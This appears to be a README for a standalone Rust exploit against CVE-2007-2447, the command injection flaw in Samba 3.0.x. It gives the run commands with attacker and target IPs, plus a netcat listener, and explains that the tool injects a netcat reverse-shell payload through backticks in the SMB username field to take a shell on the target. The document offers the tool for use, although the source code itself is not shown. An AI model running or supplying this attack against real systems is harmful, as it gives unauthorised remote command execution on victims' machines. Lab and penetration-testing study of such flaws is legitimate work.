CVE-2007-2447 Samba Exploit

A standalone Rust implementation of the CVE-2007-2447 exploit targeting Samba smbd 3.0.20-Debian.

Vulnerability Description

CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. The vulnerability exists in the SamrChangePassword() function, which fails to properly sanitize user input, allowing attackers to execute arbitrary commands via shell metacharacters in the username field during SMB authentication.

Prerequisites

Rust installed on your system
Target running vulnerable Samba version
Target must have netcat available (usually installed by default)

Usage

cargo run -- --lhost <attacker-ip> --lport <attacker-port> --target <target-ip>

Example

# Set up a netcat listener
nc -lvnp 4444

# Run the exploit
cargo run -- --lhost 10.10.14.170 --lport 4444 --target 192.168.1.100

Options

--lhost: Your attacking machine's IP address
--lport: Port to receive the reverse shell connection
--target: Target machine's IP address

How it Works

Generates a netcat reverse shell payload directly in the code
Injects the payload into the SMB username field using backticks
Sends a malformed SMB Session Setup request to port 445
Exploits command injection in Samba's username processing
Executes the reverse shell payload on the target

Features

Standalone: No external dependencies like Metasploit required
Portable: Works on any system with Rust installed
Fast: No external process spawning
